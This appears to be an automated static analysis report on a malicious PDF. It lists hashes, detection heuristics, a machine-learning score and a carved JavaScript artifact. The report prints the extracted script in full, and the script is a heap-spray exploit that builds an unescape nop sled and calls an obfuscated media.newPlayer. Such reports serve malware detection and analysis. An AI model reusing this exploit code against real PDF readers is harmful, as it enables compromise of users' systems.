Malicious PDF — malware analysis report

Static analysis result for SHA-256 d638303f91a48e77…

MALICIOUS

PDF

7.2 KB Created: 2009-12-17 16:59:10 Authoring application: Scribus 1.3.3.12 (via Scribus PDF Library 1.3.3.12) First seen: 2026-05-10
MD5: 28c883b1b287c913dcdc3833e93c7715 SHA-1: b45615a765e8a96ab84fb3c8a4e824a302b62852 SHA-256: d638303f91a48e778a1e1411d407b04957a47e89d80d47fe5f3cd6bf933f0db0
148 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 PowerShell

The PDF file contains embedded JavaScript, indicated by the PDF_JAVASCRIPT and PDF_JS heuristics. The JavaScript stream is obfuscated, as evidenced by the PDF_UNESCAPE firing and the 'Script obfuscation indicators' signal in the static triage. The primary function of the script appears to be malicious, likely involving the download and execution of a second-stage payload, though the exact mechanism is obscured. The presence of obfuscated JavaScript points to a malicious intent, but the lack of clear indicators for a specific family or payload limits confidence.

Machine Learning

  • Nyx PDF Classifier malicious score 0.9998

Heuristics 4

  • JavaScript action low 2 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER
    PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
    Matched line in script
    var n = unescape("%u3f42%u3792");
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0021_000.js pdf-javascript-stream PDF /JS object 21 at offset 0x1883 447 bytes
SHA-256: ef843db88b354b8cd48ea8438dd8ccf91dc0b0e165d34a06c03d9e5f07917ed2
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
var asdsadas='';
var n = unescape("%u3f42%u3792"); 
var xxx = 0x8000;
while(n.length <= xxx) n += n;
n = n.substring(0, 0x8000 - asdsadas.length); 

var memory = new Array();

for(i = 0; i < 0x2000; i++)  memory[i] = n + asdsadas;
aaaaa = null;

xnb='Player(aaaaa);';
adg='dia.new';
ghaa='s.me';
gha='thi';
try
{
	
	evaal(gha+ghaa+adg+xnb);
}

catch(e){}

util.printd("p@000000000000000000000000 : pppp000", new Date());

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